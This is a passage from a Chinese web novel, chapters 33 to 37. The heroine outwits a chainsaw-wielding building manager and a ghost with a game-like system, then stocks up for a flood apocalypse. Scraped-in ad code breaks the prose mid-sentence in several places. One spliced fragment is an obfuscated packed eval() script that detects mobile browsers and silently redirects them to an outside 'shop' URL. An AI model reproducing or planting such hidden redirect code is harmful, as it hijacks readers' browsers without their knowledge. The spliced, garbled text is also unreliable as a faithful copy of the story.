是住在403的妹子发过来的,她应该是走投无路了,要不然不会向刚认识几天的邻居求助:【怎么办怎么办怎么办!那个变 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 态就在我家门口,我从猫眼里看见一双血红血红的眼睛,这绝对不是人类!】 【开门的话我会死吧,我不想死啊,救救我救救我救救我!】 祁安安一边观察着楼管的动静,一边快速打字回复她:【别怕,目前来看这家伙还在正常人的范畴。把你的门用东西堵好,无论发生什么都千万不要开门,知道吗!】 很快,403的屋里就传来了一阵东西挪动的声音。 楼管狠狠地看了厚实的防盗门好半天,然后步履蹒跚地走向了楼梯间。 祁安安才发现,这人居然还是个瘸子。 是暂时安全了吗? 她也不敢睡,继续蹲在门口随时注意异常的动静。 似乎是都松了一口气,祁安安手机里刚拉好的小群,疯狂的弹出消息。 304:【@403,妹子没事儿吧,刚刚那个楼管有对你做什么吗?】 403不知道是不是还在和柜子奋战,没及时回复。 祁安安:【楼管不对劲,刚刚我从猫眼里看,他的行为不像是人类。大家把门堵好,小心点吧。】 公寓楼里住的都是普通人,祁安安不忍看到普通人无辜地死去。能提醒的,她会尽力提醒。在不危及自身安全的情况下,她也不介意帮一把手。 祁安安给出的消息无疑是爆炸性的,小群里一时躁动起来,楼上楼下都不约而同的响起,挪动柜子、沙发这类大件物品的声音。 突然一道刺耳的电锯声打破了公寓楼里的宁静,她细细分辨了一下,声音是从楼下传来的。 而三楼住着楼管另一个要寻仇的对象,304。 电锯声很快停止,业主群里又弹出了消息。 楼管:【我帮304的业主打开了锁死的柜子,得到了他的好评。我是真的想得到大家的原谅才上门道歉的,请放心,无论如何楼管都会全心全意为业主服务。】 304:【楼管说的对,刚刚都是一场误会,小伙子第一天来上班也不容易,想当面道歉也是求个心安,大家放心就好了(微笑)(微笑)。】 101还在傻不愣登的发“好的收到”。 祁安安品读着304这几句话之间的语气转变,从暴躁老哥变成温柔小伙。经常看无限流的小伙伴肯定知道,这种性格突变的人物,八成已经领了便当,被凶手控制了手机。 所以,楼管已经拥有了强开房门的能力? 小群里还没来得及商量,楼梯间里传来沉沉的脚步声,楼管上来了! 而这一次的目标,是刚刚逃过一劫的403。 33. 第 33 章 想到403,祁安安决定做回好人。她打开系统在防盗门外种下了一颗土豆雷。 楼管拖着长长的电锯,一步一步上到了四楼,电锯上沾染的鲜血染红了一路,留下一道长长的痕迹。 他在403门前站定,祁安安下意识屏住了呼吸,他会发现吗? 小小的土豆雷在门前的地垫上顶出一个微微的凸起,楼管疑惑的歪着脑袋,过了一会,他抬起电锯,重重的劈在地面上。 接触到地面的瞬间,土豆雷应声而爆,能重伤正常人的植物,却只让电锯上的光芒黯淡了一瞬。 数值化的视角里,楼管只能算个身体素质较好的普通人,而他手中的电锯,品质却极高,给他加上了不少生命值。 楼管现在已经成了招惹不起的存在。 他没了逗弄猎物的心思,直接挥起电锯,一刀斩破了厚实的防盗门,连带着堵在门后的家具也成了两半,他抬脚不紧不慢地走进屋子。 祁安安的心跟着脚步声颤动。 403还能活下来吗? 三十秒过去,房子里没有传出更多动静,手机屏幕却是一亮。 楼管:【怎么回事,403的业主怎么死在了家中?】 配图一张倒在地上的女人,她双眼死死盯着窗外的方向,瞪得老大,表情还残留着死亡最后一刻的惊厥。 祁安安把图片来回放大缩小,不确定这是否是楼管的贼喊捉贼。 如果不是的话,那证明公寓楼里还存在第二个凶手,可以神不知鬼不觉从窗户进入杀人的凶手。 她继续透过猫眼观察楼管,确认403死亡后,他拖着电锯一脸不爽地走了出来,眼神飘忽,嘴部紧绷。这是心理学上面对恐惧和未知下意识的微表情。 眼见他的表现,祁安安有70%的理由相信,公寓楼里存在第二个凶手。 除开生死未卜的304,403是目前确认第一个死亡的业主。微信群里一下子炸开了锅。 【403死了!】 【谁杀了403?】 两句话来来回回被业主们刷了无数条,却没人能给出一个答案。 楼管:【@401业主,您还好吗?】 【@401,出现了入室杀人犯我很担心您,请问需要帮助吗?】 发完消息,楼管拖着电锯,慢慢地穿过走廊,朝401走了过来。 一层楼四户人家,404情况不明,403死亡,402没住人,他能想到401也正常。 祁安安有些嫣红的唇被咬得发白,楼管破开403房门的场面还历历在目,她不觉得自家门前挡住的东西能起到多大的作用。 难道现在就该等死了吗? 她点开系统面板打开商城。有了500多积分,她现在也算是大户人家,不少基础植物都购买得起。 能自动瞄准的豌豆射手,造成大额伤害的火爆辣椒,还是可以加固房门防御的南瓜头? 她在脑中闪过无数想法,楼管也正对着房门越走越近。男人普通长相,却有一双猩红的眼睛,他穿着物业统一的黑色制服,脖子上吊着工牌,上面有他的工号以及公司联系电话。 【安心物业,电话:48484848。】 楼管、物业、联系电话。 堵塞的思路被打通,祁安安突然福至心灵的明白了。楼管讨厌投诉,害怕失去工作,却对业主们的威胁视若罔闻,这本来就极为矛盾。 如今看来,是因为业主们不知道正确的投诉方式,他们的威胁方式无力且好笑。 那么问题来了,自己该如何争取时间安全地打出这通电话? 楼管已经走到了401的门口,正透过猫眼努力张望,手中的电锯蓄势待发。 祁安安知道,他的下一个动作就该是劈开房门,然后—— 危急时刻她手速飞快,把微信头像和群备注全改了一遍,然后发出消息。 902:【@楼管,救命啊,和我合租的室友屋子里突然巨响了一声。是不是和像403一样,神不知鬼不觉被人入室杀害了!@楼管拜托你来看看是什么情况?等室友醒了,我一定让她写表扬信!】 不知道是哪个字打动了楼管,他盯着手机看了片刻,嘴里哼着不成调的小曲,转身走向了楼梯。 祁安安心有余悸地长舒一口气,这一关算是过了,之所以用902的身份。是因为晚上她回家的时候,正好碰上合租的两个小姑娘拎着行李箱急急忙忙的赶电梯。 多问了两句,没想到给自己问出一条生路。 她轻手轻脚的跳下柜子,坐到沙发上,输入的楼管胸前的那串数字 通话符号按下,一股若有实质的黑气从手机里散溢出来,不怀好意的缠上了她的胳膊,阴寒感从胳膊蔓延至全身,她后背爆起一层鸡皮疙瘩。 祁安安终于明白为什么楼管敢大咧咧地把工牌带在胸口,因为普通人恐怕根本活不到电话接通的时候。 她知道这是自己唯一的机会,刚刚戏弄过楼管一次,等他折返回来,到来的绝对是更大的暴怒。 死马当活马医,想着上次在医院的经历,祁安安在系统里点开了路灯花。 温润的白色暖光散开,驱散了一部分黑暗,虽然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她整个人还是被冻到麻木,但好歹能控制身体了。 “你好,安心物业竭诚为您服务,请问业主有什么需要呢?”幽幽的女生带着强行扬起的积极声调从电话那端传了过来。 祁安安调整了下声音,学着曾经见过的泼妇,声音尖利地开口:“你是管事儿的不?我要投诉我们小区新换的楼管。老娘住了这么多年,没见过这么不负责任的!楼道里堆了垃圾不管,公寓楼大门坏了不修,不维护小区环境就算了,还整天提着把大电锯到处破坏房子。你们招的到底是楼管还是拆家怪!” “我告诉你,不赶快把他换了,就等着我把你们的烂服务做成大字报贴满全市,我倒要看看以后谁还敢用你们家物业公司!” “女士……,您先消消气。”对面的小姑娘应该是头一次“上班”,又是头一次挨顾客骂。 被祁安安一连串机关枪突突的脑袋瓜都懵了,只能按照培训的课程,来来回回重复着“抱歉,”和“我们一定改正”。 祁安安不依不饶:“现在立刻马上,给我把问题解决了,要不然有你们好看的!” 说完她啪的一下挂断了电话。 红色的挂断按钮按下,萦绕在周身的黑气消失,祁安安脱力地直接躺倒在沙发上。拨出去的这通电话,极大消耗了她的精神力,要不是现在情况紧急,她真想躺倒就睡。 尽管如此,在沙发上短暂地休息了一分钟后,祁安安强打起精神,又继续回到猫眼旁,紧张兮兮地等待后续。 不到两分钟,走廊里传来了一阵急促的脚步声。楼管气喘吁吁地出现,这次身边没有带电锯,反而拎着扫把和一个巨大的垃圾桶。 他一丝不苟地把楼道里的碎尸和垃圾全部清理干净,然后又拿出工具,把403刚刚被劈开的房门修补好。 最后拿出手机,对着刚刚完成的工作,咔嚓咔嚓全方位多角度拍了一堆照片。 做完这一切,他还没有离开,反而是蹲在角落里,用几根粗糙的手指在屏幕上来回划拉,皱着眉头喃喃自语:“咋回事,这图片看着还是有点不得劲,是我哪儿没扫干净吗?” “再P一下试试。” 祁安安:“……” 看着埋头苦干的楼管,还有焕然一新的走廊,她嘴角忍不住抽搐,果然打工牛马无论是哪个物种都是最容易被压榨的群体。 这下总该是尘埃落定了吧。祁安安长长舒了口气,捂着抽痛的眉心慢悠悠地转身回房。 突然,阳台的落地窗上传来了一阵指甲刮擦的蹭蹭声。 她吓了一跳,这TM又是什么,还有完没完了! 34. 第 34 章 连续多次被人打扰入睡计划,祁安安心情算不上美妙,看着墙上指向三点的闹钟,她再也忍不住心里的暴脾气,“唰”一下拉开了窗帘。 趴在窗户上的是个熟人,虽然一张脸血肉模糊胡乱安装,但小眼睛大蒜鼻,不就是刚刚在群里发自拍的404。 恐怕他就是杀害403的真凶。 祁安安眼神里闪过一抹杀气,男鬼也被她吓了一跳,卧槽,眼前这个人类怎么看上去怨气比他还重? 难不成也是个诡异? 他眼里闪过一丝犹豫,却又迅速被垂涎掩盖。 不好对付又怎么样,男鬼也就是一下子被唬住了,这会儿咂摸过来,面前的女人就是个普通人,一个很美味的普通人。 他狞笑着伸出利爪狠狠戳向玻璃,同一时间,祁安安也往玻璃上拍上了两张符咒。 阴气与黄符接触的瞬间,符咒被烧成了一团纸灰,男鬼被灼的发痛,悻悻的收回爪子。 两张符被烧掉,他不信邪的继续尝试,这一次祁安安转身从屋里抱出来一个大纸箱,打开里面是满满当当的符咒。 男鬼毁掉一张,她就立刻补上一沓。 就这样,一人一鬼隔着窗户大眼瞪小眼,坚持了一个小时,男鬼身上的黑气都散了些,而祁安安面前大纸箱里的符咒,大概只下降了一厘米的高度。 更过分的是,他趴在窗户上哭哈哈的当壁虎,祁安安面前却摆满着小火锅,一边吃一边甚至还有心对她指手画脚。 “挠了这么久,你累不累,用不用来喝口水?” “唉唉唉,对我的玻璃下手轻点,屋里还有人在睡觉呢!” “采访一下,这么多符,哪一个最够劲,我下次给那位道长个好评。” 男鬼:“……” 沉默,沉默是今晚的玻璃窗。 做了鬼之后他很少有大的感情波动,没想到今天在401住户面前,被气成了个河豚。 他阴森森地警告:“你以为买的这几张符咒能挡住我吗,告诉你,你最好祈祷这些符咒能把你的房子罩得严严实实,要不然,哪怕是一个小洞我都能进去。我会一直盯着你的!” 说完男鬼一瞬间消失,世界安静了。 祁安安等着他的下一步,没过多久,衣柜里传来噼里啪啦的声音。她打开衣柜门,被黑布包裹着的一堆镜子,正激烈地互相碰撞。 她直接把镜子抱出来,塞进了装有符咒的大箱子里。 伴随着一股浓烈的纸张燃烧气味,箱子里传来凄厉的惨叫。 想必是泡了个舒服的符咒澡。 “神经病啊,你家里为什么会有这么多符!” 男鬼哀叫一声,从镜子里逃窜出去,临了还像灰太狼一样留下一句狠话:“你给我等着,有符又怎么样,这个地方你绝对奈何不了我!” 一分钟后,祁安安家的马桶里传来一股烧焦的味道。 祁安安:“……” “你有毛病吧,马桶里也贴符纸!” 他还在骂着,声音却不像刚刚一样中气十足。 祁安安回忆了一下有没有把马桶盖盖好,然后不紧不慢地把刚刚烧掉的符灰全部收集起来,再抓上一大把符纸,顶着男鬼杀人的目光,把东西全倒进了马桶里,最后在他的惨叫声里按下冲水按钮。 看着狰狞鬼脸被水流打碎,祁安安也满意地露出了笑容。 随着男鬼的灰飞烟灭,笼罩在公寓楼外面的黑暗似乎稀薄了不少。 她拿起手机,时间已经来到了凌晨四点,而通讯信号也已经恢复。 终于能躺在床上睡个好觉。 —— 再次醒来,她是被一阵急促的敲门声吵醒的。 祁安安艰难地睁开眼,推开卧室门,客厅里站着一位年轻的小警察,正在收集祁母的指纹。作为守法公民,自然是要积极地配合工作。 她的手放在指纹传感器上,小警察突然冷不丁地问:“你杀了几个人?” “?”祁安安疑惑的歪头,脸上露出恰到好处的不解,“警官先生,如果要询问我的话,麻烦打开执法记录仪。”她礼貌地提醒。 小警察脸上出现了一瞬间的窘迫,好在有两位年长一些的干警,随后也走了进来,一群人在沙发上落座,执法记录仪也打开。 祁母面对这样的场景有些不知所措,祁安安走过去安抚性地捏了捏她的肩膀,轻声把她支去厨房做饭。 小警官立刻迫不及待地开口:“昨天晚上你们公寓楼里发生了四起恶性杀人案,分别是小区楼管,304业主以及你同楼层的403和404。你有什么想说的吗?” 祁安安似笑非笑地看着他:“警官先生,我是个良民,请您不要用审问罪犯的语气和我说话。” “抱歉祁小姐,因为案件性质恶劣,年轻人可能有点激动。”年长一些的女警官出来打圆场。 祁安安点点头没说话,直到小警察被支了出去,他们才继续话题。 “祁女士,麻烦您回忆一下,昨天晚上都发生了什么?作为案发现场的同楼层住户,您的每一个线索,都会对案件进展有重大影响。” 有超自然力量,常规的刑侦手段对公寓楼的案子可能完全不管用,情况允许,祁安安我也很想开门见山的告诉他们。旧楼管和304是被一个提着电锯的新楼管杀害,403被404杀害,现在唯一的疑点就是谁分尸了404,并把它变成恶鬼。 但要是真把这一连串说出来,怕是她先要被送去做精神鉴定,祁安安挑挑拣拣,勉强说了一些,又配合地给出了楼管的面部特征,但警察们却感觉到有被敷衍到。 女警察在手机上滑了滑,调出一张聊天记录,是祁安安伪造902的身份发出去的。 “这个你怎么解释?为什么要冒用其他业主的身份?” “警官,那时候凶手都走到家门口了,我把他引走自救难道也犯法?”祁安安疑惑地反问。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你撒谎!”在门外偷听的年轻警察忍不住冲了进来,一拍桌子怒道,“祁女士,我们调查了您的银行流水,近期有多笔大额钱款汇进账户。怎么又偏偏这么巧,你刚搬进来,公寓楼就出了四起命案。我劝你早点坦白,不要有侥幸心理。” 场面眼看就要混乱,祁安安低低的叹了口气。 “唉,”她大方地伸出双手,目光澄澈,“既然证据充分,来啊,逮捕我。” 祁安安摆烂啦。 之后两个年长警察还想再深入问一些问题,都被她敷衍地应付过去,两人也只能告辞。 —— 意识到被警察盯上之后,祁安安刻意地减少出门,毕竟她浑身上下到处都是疑点,哪里都经不起推敲,还是少生是非为妙。 又是一个普普通通的晚上,七天过去,将要进行下一个末世任务。 她临阵磨枪去找系统套近乎:“统啊,咱这次能稳点,别出意外吗?” 自从系统说过,他跟那个“死生”不太对付,祁安安的小心脏啊,就一直提着,生怕被系统一抽风投放到对面大佬手里,直接被砍成碎片。 起码让她苟住发育一波,再去挑boss吧。 【咳——】系统难得有些不好意思,【相信我,这次一定没问题。祝宿主任务顺利。】 话音落下,熟悉的眩晕感再次袭来。祁安安还没睁开眼,任务信息就已经传送过来。 【世界抽取中,任务等级:C级。 世界类型:洪水末世(天灾型)。 投放时间:灾害发生前48小时。 世界任务:登上方舟(完成可获得100积分,失败则抹杀)。】 意识恢复的时候,祁安安发现自己正处在一座上行的电梯里,面前的数字由10跳到11,然后是12,正在快速上行中。 她脸上架着一副黑框眼镜,有些木愣的样子。穿着深灰色的职业套装,肩膀上挎了个小包,脚上踩着一双中跟高跟鞋。 电梯里还有一个男人,与她站得很近,是她在这个身份的男朋友,马上就要分手的那种——因为刚刚她收到了一张男友与陌生女人高清□□热吻的闪照。 虽然头顶发绿,但眼下不是思考这些的时候,离末世开始还有48小时,按照系统的尿性,这里面说不定又在和她玩文字游戏,祁安安估计自己安全的,准备时间只有40小时。 每分每秒都非常宝贵,她当即按下最近的一层,离开了上行的电梯。 “宝贝,怎么了?上班马上就要迟到啦!”世界身份的男友王辉跟着一起追了出来。 祁安安本来没想搭理他的,但既然送上来,只能勉为其难的赏他一个大嘴巴子。 “啪”! 干脆利落的一声,用了十成十的力气,王辉不可置信的歪过脑袋,眼神里满是控诉。 这时下行的电梯也到了,祁安安没有和他浪费口舌的工夫,干脆利落走了进去。 35. 第 35 章 她走出大厦,外头阳光明媚天气正好,打开天气软件,上面显示,从明天起气温会逐步下降,随之而来的是持续性降雨。 从后天开始,每天的降水概率都高达90%。 写字楼下有不少装修小资的咖啡店,她随便进了一家,找了个安静的位置,开始整理脑中的思路。 世界身份有一份即将被辞退的工作,今天上班她是想再去找老板争取一下的。但眼瞅着末日在即,祁安安果断同意了人事的方案,得到了一笔3万块的n+1补偿款。 而她所在的是一个普通的内陆城市,经济还算发达。想起本次灾难源头的洪水,祁安安当即决定离开这里,前往西部的高原。 四千米的海拔高度,哪怕地球变成一片汪洋,那里也能再苟一会。至于系统说的方舟,她推测要末日开始后才会出现,总之先去高原绝对没错。 她在手机app上查询航班,快速填上自己的个人信息,却卡顿在了最后付款的一步。 银行卡里有钱,手机运行流畅,那是什么原因? 她不信邪地又转到铁路软件,无论是高铁还是火车,同样显示付款失败。 “是你搞的鬼?”她立马揪出系统。 没有起伏的电子音响起:【宿主不要耍小聪明,灾难开始前,禁止离开投放区域哦。】 “淦!”祁安安在袖子里默默对他比了个中指。亏她还以为自己聪明绝顶,没想到系统更损一筹。 既然此路不通,那就只能老老实实地囤货,然后在末世中艰难求生前往高原。 这果然是系统爱看的恶趣味吧! 她把重心又放回了囤货上,基础的生活物资小屋里还算充足,就是要针对性地采购一些救生用品——救生衣二十件;救生圈十个;救生绳三捆;雨衣五十套;密封袋两打;冲锋舟六艘;药品不缺,就是要再补充一些治疗腹泻的药物。 还有尽可能地多囤积石油。 祁安安快速把需要的物资形成书面,确认没有遗漏后,直奔金店。 世界身份刚毕业没多久,存款还不超过五位数,加上刚刚的补偿款,和囤货金额还是相差甚多。 她只能再干起老本行卖金子,一回生二回熟,在原生世界干过一次之后,这次只用了两个小时就换到了五十万。 换到了钱,她先去租了一辆大容量suv,然后立刻赶往本市最大的户外用品店,在这里把救生用品采购充足,看她采购量不小,商家还大气地打了个九折。 现货交付,除了冲锋舟,商家这边库存不足,要从邻市调过来,让她明天再来取。 祁安安不敢拖到明天,她给店主又加了钱,约定货车到来的第一时间,也就是明日凌晨3点,再来提货。 早上离开公司的时候还是阳光明媚,等她从户外用品店出来,外头已经稀稀拉拉下起了小雨。 “终于下雨了,可算凉快了!”在一旁躲雨的路人忍不住感叹,任谁受了一个月的高温都会期盼一场雨。 祁安安却忧心忡忡地看了一眼天空,想了想,又开着车辗转了几处加油站。 她先买了几个大油桶,放进小屋里后,右手贴在油箱上,意念操控,油箱里的油量不断减少,空间里的油桶也满了一个。 事前问过老板,冲锋舟是个吸油怪兽,每百公里要消耗起码40升汽油,祁安安把物资的空间压缩再压缩,又连轴转跑遍了全市的加油站,总算是买够了600升汽油。 按照本市和高原的直线距离,应该足够她平安抵达。 此时已经到了下班高峰期,雨也越来越大了,祁安安打算回出租屋。 她和前公司的同事合租在一处中档小区,总高25层,位于八楼。大雨降低了能见度,到处都在堵车,刺耳的喇叭声响得人心烦,汽车电台里传来女主播温柔的嗓音。 【气象台预计今天夜里到明天白天,全国范围内将迎来大到暴雨,请市民们尽量避免外出,保护好自身安全。】 “说的好笑,不上班老板允许了吗?”旁边的司机嗤笑。 路上偶尔有市政的工作人员出现,搬着一个个大沙袋,摆放在地铁、车库等地势较低的口子。 她下车的时候,算是中雨,等走到楼道雨势明显加强,噼里啪啦地重重砸在窗户上,溅出一大片水气。 她给自己煮了锅姜汤,辛辣的汤汁热乎乎的下肚,有些冰凉的身子慢慢回温。忙活了一整天,中午祁安安在车上吃了个三明治算午餐。这会儿时间还算充裕,她找了个小锅,往里放上火锅底料和豆瓣酱,一起炒香后加入清水,再从冰箱里找出几份食材。 等待锅开的时候,她私聊了业主群里的一个人。 中档小区租户流动频繁,业主群里随便划几条就是房屋直租的广告,她联系的这位,人在外地,且在旁边单元的24层有套出租的两居室。上一家租户搬走一个月了,还没租出去。每天急得在群里来回刷屏。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁安安也没说自己要租,只说是有个学长相中了,自己想当个中间人,赚点中介费。 房东自然乐意,祁安安又和她磨了半天,谈下房租3000一个月,押二付一。钥匙就在物业,随时可以入住。 她开了个小号,干脆利落地转了钱,物业也派人把钥匙送了上来。 她在客厅里收拾东西,大门处传来说话声,是她室友赵冰:“真倒霉,偏偏下雨的时候赶上加班,地铁挤死了,回来还淋一身雨。” “阿嚏!” 重重的喷嚏声伴随着门锁扭动的声音,赵冰裹着湿透的衣服冻得有些发抖,她拉着祁安安的男友王辉一起走了进来。 “安安,你……,你也在啊。”赵冰有点尴尬,不过也就是一瞬间,很快得意的冲她扬起一个挑衅的笑。 祁安安的眼神在两人交握的双手上停留了一下,然后不咸不淡的点点头。 王辉恶人先告状:“祁安安,你今天为什么在公司打我?知不知道让我丢了多大面子,让我以后还怎么面对同事。虽然离职了,但你明天跟我去公司一趟,解释清楚是你不明事理,听见了吗?” 他居高临下地说着,眼里盖不住对祁安安的轻蔑,要不是输了赌局,这种女人脱光了他都不会看一眼。 没想到面前的女人却是拿起了桌上的镜子,摆在他面前。 “没有镜子,家里还没尿吗?长得丑能力差的低分男,谁给你这么大的脸说出这种话?我明确地告诉你,我知道你劈腿的事,现在我们分手了,以后别来打扰我。” 说着祁安安在油头粉面的脸上又重重扇了一巴掌,一左一右,现在总算是对称了。 “这,你——” 王辉被一左一右两巴掌给扇懵了,他捂着脸不可置信的抬头,却发现祁安安走的干脆,竟是一点余地都不留。 他是想甩掉这个丑女人的,为什么现在的心情却有些惆怅酸涩。 王辉也不知道,赵冰注意到了男友复杂的目光,连忙扶起他温柔小意的安慰着。 美人在怀,王辉心里升起那点怪异的小情绪瞬间被抛之脑后,抱着新晋女友在沙发上黏糊糊地啃起来。 似乎是为了刺激祁安安,赵冰特意搞出些暧昧的动静,但被示威的当事人,却已经戴上耳塞开始补眠。 渣男贱女什么的,凑在面前可以顺便收拾一下,但肯定是没有活着重要。没必要为了他俩浪费自己的宝贵休息时间。 36. 第 36 章 闹钟响起,祁安安在凌晨一点准时醒来。 雨好像又大了些,天色黑得像泼上去了一瓶墨水,窗外狂风呼啸。 suv停在地下车库,因为小区地势较高,暂时没有出现积水。 她把车开上主路,天上的雨像拧开了水龙头哗啦啦下个不停。雨水顺着建筑物的排水管哗啦啦地流着,冲向路边的排水管道。 路上除了车辆少见行人,地势低的地方积水已经到了小腿处,水波因为车子的行动向外扩散,此刻没有一个司机敢停车。 只要一停下,车辆准熄火。有的车辆已经停在了水中,车内的人在趟水离开。 祁安安加快速度,提前到达约好的仓库,凌晨四点,货车司机晚了一个小时才到达。 他低声道歉:“不好意思啊让您久等了,实在是从上高速就开始下雨,大家都不敢提速,又堵了一会,这才晚了。” 祁安安表示谅解,在原定的运费上又加了个大红包。 司机帮着把冲锋舟搬到suv上,祁安安一边把它们收进空间,一边马不停蹄地往出租屋赶。 深夜电台的女主播还在温声播报,内容已经从都市怪谈小故事,变成了讯情播报。 “各位市民请注意,受强降雨影响,本市排水系统已达到超负荷状态,请市民在前往地下车库,隧道,地铁等地点时注意自身安全。” “本台提醒,若遇积水围困,请立即舍弃车辆,转移到地势较高的地方等待救援……” 靠着路灯,祁安安注意到路上的车辆行驶中轮胎溅起的水有多高,地面的积水已经淹到车底盘了。 而更难办的是,回到出租屋要经过一架跨河大桥。2公里的路寻常就是一脚油门的距离,配上今天的风雨,走得却格外艰难。 雨刮器高速摆动,只能勉强看清前路,车子一开上大桥,她感受到不对劲,车身在晃,不对,是桥体在晃。 MD,她在心里暗骂了一声垃圾,但已经上了桥,只能祈祷自己运气好点,千万别塌。 不知道哪位神仙显灵,祁安安平安开下了大桥,有惊无险的回到了出租屋。 她直接回了位于二十四层的房子,屋子是精装修过的,家具一应俱全。 虽然一路上没淋着雨,但空气里湿冷的感觉弄得浑身都不舒服。温热的水带走雨水的那种湿腻感,用吹风机吹干头发,她才感觉活了过来。 噼里啪啦的雨滴打在窗户上,在此刻有些助眠,祁安安泛起一阵困意,裹起被子暖暖呼呼的窝在床上睡了一觉。 起床的时候已经是中午。 她走到窗外往下看了一眼,雨还是没停,模模糊糊间能看到浑浊的洪水,停在楼下的车,有半个车身都泡在了洪水里。 她打开电视,所有频道都在播报着当前的最新消息。 “我市多个地铁站已出现积水问题,为保障地铁运营安全,自9月16日8:00起,本市全线网地面及高架区段停运。” “其中3号线地铁积水严重,目前在人民广场站和天街站处停摆,受困人员将近二百人。请看受困人员传回来的现场情况……” 视频播放,洪水哗啦啦地从步梯上倾泻而下,受困者挤在闸机和值班台上,有人尝试着逆水而上想逃出去,反而被一股激流重重冲了回去,摔了个头破血流。 受困者的脸上是不安、恐惧和绝望。他们清楚获救的希望微乎其微,绝望的哭声传来,节目组连忙切回直播间。 “现在请关注国际新闻。” “A国遭遇百年难遇大暴雨,大片贫民窟于洪水中被淹没。” “E国多地地铁发生洪水倒灌,专家预计,暴雨再不停止,可能会导致群岛陆地下陷。” “据南极科考站消息,我国专家遭遇了罕见大冰雹,目前科考团暂无生命危险。” 网上也是乱成了一锅粥。 【救命,我被困在地下车库了,电梯和车库口都是水,谁能来救救我!】 【地铁站的洪水好大,又冷又挤已经有人晕过去了,救援队到底什么时候才能来啊!】 【预报未来一周都有降雨,大家赶紧逃命!】 【楼上的看看国际新闻,不止是本市,这是一场世界范围内的大暴雨,你能跑哪儿去?】 【学地理的朋友告诉我,这可能是第二个卡尼期洪积,搜完回来我绝望了,我们人类还能有未来吗?】 【据可靠消息,上面的态度非常悲观,已经打算建设方舟、潜艇避难。有实力的赶快筹钱买票吧。】 【感谢楼上告知,但我们普通人可能倾家荡产都买不起一张船票,我还是守在屋里乖乖等死吧。】 【你们别这么悲观呀,雨不才下了一天,万一明儿就停了呢。】 祁安安苦笑着关闭手机,所有人都不想悲观,但大雨不得不让他们每个人悲观。 不过,“方舟”会是她的任务目标吗? 她开始在互联网上查阅信息,可惜除了刚刚那位网友提到过,其他搜出来的都是一些影视作品或者小说。 如果真有方舟的话,自己有什么筹码能登上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13864383|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 祁安安心里发愁的不行。 接近傍晚的时候,嘈杂的雨声里夹杂着人的怒骂,楼道里传来吵闹的人声。 “这操蛋的天气,老子的实木家具都要被水给泡坏了!” “刚装修好的房子才住了半个月,早知道当初买份保险了。” 祁安安往窗外一看,洪水已经涨到了一楼,根本排不出去,物业只能组织一楼业主往楼上避难。 本栋楼开始了抢险救灾自救,高层的业主们不乏有善良的,帮忙去一楼抢救财物,或者是敞开大门,邀请邻居们进来取暖。 【谁家有吃的,我出高价买!】 【MD怎么这么倒霉,下次再也不买一楼的房子了!】 【感谢楼上美邻收留,祝友友一生平安(玫瑰)(玫瑰)(抱拳)。】 天灾无情人有情,一时间愁苦的氛围都消散了些。 祁安安再次打开了手机,热搜榜上高挂着的是每个城市的名字。 有位于河流下游的g市,s市,还有沿海的a市,f市,包括基础建设最完善,号称拥有顶级排水系统的首都,也高高飘在热搜第1位。 她点开热搜,首都的水位也涨到了半层楼那么高。 到处的情况都不好,目前,飞机火车高铁所有道路交通全部停摆,这也就意味着除了待在原地,人们居然无处可逃。 在大自然面前,人类的力量还是太过弱小。祁安安现在只有等,等雨停,等水位稳定,然后去高原。 一个小时后,外面开始刮起大风。 狂风呼啸而来,吹得窗户发出怪异的响声,仿佛大楼都在风雨中摇摆。风声伴随着雨声、雷声,闪电张牙舞爪在天空中撕开一个大口。 祁安安坐不住了,她找出胶带用米字型贴在窗户的玻璃上。 这种方法不能让玻璃变得更坚固,只希望在大风碎裂玻璃时,减少误伤人的概率。 不知道窗户能坚持多久,她决定先解决一下温饱,想着这可能是在遮风挡雨的屋子里吃的倒数几顿饭,祁安安就一点也不想亏待自己的胃。 她从空间里拿出一份m9和牛,按肥瘦分好切成小丁,再佐上鸡蛋,洋葱和香芹碎,和隔夜的米饭一起放在锅里炒匀。 肉香味在厨房蔓延开来,祁安安又给煮了一碗番茄蛋花汤,有饭有汤,搭配着窗外的雨声,要不是末日,真值得好好欣赏一番。 吃过饭,她看了一会儿书,又练了一会儿体能,这才再次睡去。等明天,就是系统所说的末世正式开始的时刻。 37. 第 37 章 不到一个小时,祁安安被一阵冷雨拍在脸上,她不得不清醒过来。 窗户碎了…… 大雨瞬间往屋内钻,几秒钟就打湿了床上的棉被。狂风加暴雨的恶劣环境,让身上体温流失的飞快。 她胡乱抹了把脸上的雨水,快速作出了决定,窗户现在救不了,得赶紧找个能遮风挡雨的地方。 祁安安顶着巨大的风压,匍匐在地上,咬牙爬到了卧室的衣柜边。她使劲拉开门,把自己塞了进去。 冷,真是太冷了。 她在狭小的衣柜里,先把身上的湿衣服全部换下来。身体擦干后,在重要部位贴上暖宝宝。又从空间里拿出一杯热奶茶,小口小口啜饮着,温热的液体从口腔滑到胃部,是最爱的巧克力味,祁安安一直发抖的身体,才终于缓和下来。 等她醒来已经是第二天白天。 祁安安推开衣柜,外面的狂风已经停止,雨也从难以形容的暴雨变成了中雨。 她穿着雨衣走到窗边往下看去,昏黄的水流依旧湍急,水面上散落的有不少树叶和衣物。水位从昨天的一楼半层,涨到了二楼,甚至还有不断上涨的趋势。 